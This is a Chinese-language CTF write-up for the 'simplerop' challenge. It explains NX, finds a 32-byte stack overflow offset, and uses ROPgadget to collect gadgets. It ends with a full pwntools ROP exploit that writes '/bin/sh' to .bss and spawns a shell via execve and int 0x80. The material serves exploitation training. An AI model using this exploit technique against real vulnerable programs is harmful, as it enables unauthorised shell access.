看到静态链接,一顿欣喜,直接ropchain生成,栈溢出找出来就ok啦?然后后来发现并没有那么简单。。。
================================================================================================
【一段小插曲】
做题的时候突然很奇怪,nx开启,堆栈不可执行,为什么可以执行pop这些指令,搜了一下。。不可执行的应该是shellcode,但是这些指令还是能用的,不然栈区还怎么使用。。。
NX
Non-Executable Memory,不可执行内存。了解 Linux 的都知道其文件有三种属性,即 rwx,而 NX 即没有 x 属性。如果没有 w 属性,我们就不能向内存单元中写入数据,如果没有 x 属性,写入的 shellcode 就无法执行。所以,我们此时应该使用其他方法来 pwn 掉程序,其中最常见的方法为 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,每个内存地址对应一个 gadget,利用 ret 等指令进行衔接来执行某项功能,最终达到 pwn 掉程序的目的。
================================================================================================
输入的字符串长度是100
而覆盖量是0x20,emmm,这里有个小bug?ida里面是0x14+0x4=0x18,一开始没有,所以我又cyclic字符串覆盖了一下,发现是32,当然还是以调试为准啦。。。。
本来是ROPgadget --binary simplerop --ropchain直接生成rop链,,,但是来了,因为限制输入最大为100,覆盖量又有32,所以太长了,怎么办???想哭,,只好自己找gadget了。。。
最后找到一个非常有用的指令,mov [eax],edx,能将edx的东西写入eax指示的内存中
指令:ROPgadget --binary simplerop --only 'mov|ret' | grep edx
find:0x0807b301 : mov dword ptr [eax], edx ; ret
所以,我们考虑可以将8字节的‘/bin/sh’分成‘/bin’和‘/sh\x00’分别先用gadget送入bss内存,然后将bss地址作为参数
指令:ROPgadget --binary simplerop --only 'pop|ret' | grep eax
find:0x080bae06 : pop eax ; ret
指令:ROPgadget --binary simplerop --only 'pop|ret' | grep edx
find:0x0806e82a : pop edx ; ret
find2:0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret(用来传递参数值)
在ida里面翻一下,还是比较方便找到bss段的起始地址的:
我们考虑调用execve(/bin/sh),execve的系统调用号是0x0b
int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数
所以,我们先将execve四个参数布置好,然后将0x0b放入eax,在执行int80即可
指令:ROPgadget --binary simplerop --only 'int'
find:0x080493e1 : int 0x80
所以,接下来我们可以编写exp了
#!/usr/bin/python
#coding=utf-8
#coding这行确定编码,防止报错
from pwn import *
p=process('./simplerop')
bss_addr=0x080eaf80
mov_gadget=0x0807b301
pop_eax=0x080bae06
pop_edx=0x0806e82a
pop_edx_ecx_ebx=0x0806e850
int80=0x080493e1
payload = 'a'*32
#将‘/bin’存入到bss段
payload += p32(pop_eax)+p32(bss_addr)
payload += p32(pop_edx)+'/bin'
payload += p32(mov_gadget)
#将‘/sh’存入到bss段,接在‘/bin’的后面
payload += p32(pop_eax)+p32(bss_addr+4)
payload += p32(pop_edx)+'/sh\x00'
payload += p32(mov_gadget)
#把execve的四个参数传入寄存器
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)
#execve的系统调用号
payload += p32(pop_eax)+p32(0x0b)
#int中断,执行系统调用
payload += p32(int80)
p.recvuntil(':')
p.sendline(payload)
p.interactive()